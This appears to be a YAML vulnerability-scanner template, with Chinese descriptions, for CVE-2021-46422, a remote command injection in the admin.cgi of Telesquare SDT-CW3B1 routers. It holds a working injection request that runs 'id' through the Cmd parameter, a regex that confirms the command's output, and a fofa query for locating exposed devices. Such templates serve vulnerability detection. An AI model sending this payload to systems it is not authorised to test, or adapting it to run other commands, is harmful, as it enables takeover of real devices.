CVE-2021-46422: Telesquare SDT-CW3B1 admin.cgi 远程命令执行漏洞

id: CVE-2021-46422

info:
  name: Telesquare SDT-CW3B1 admin.cgi 远程命令执行漏洞
  author: zan8in
  severity: critical
  description: |-
    Telesquare SDT-CW3B1 1.1.0版本中存在命令注入漏洞，攻击者通过漏洞可以获取服务器权限
    fofa: app="SDT-CS3B1"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46422
  tags: cve,cve2021,telesquare,fileread
  created: 2023/12/12

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id
    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()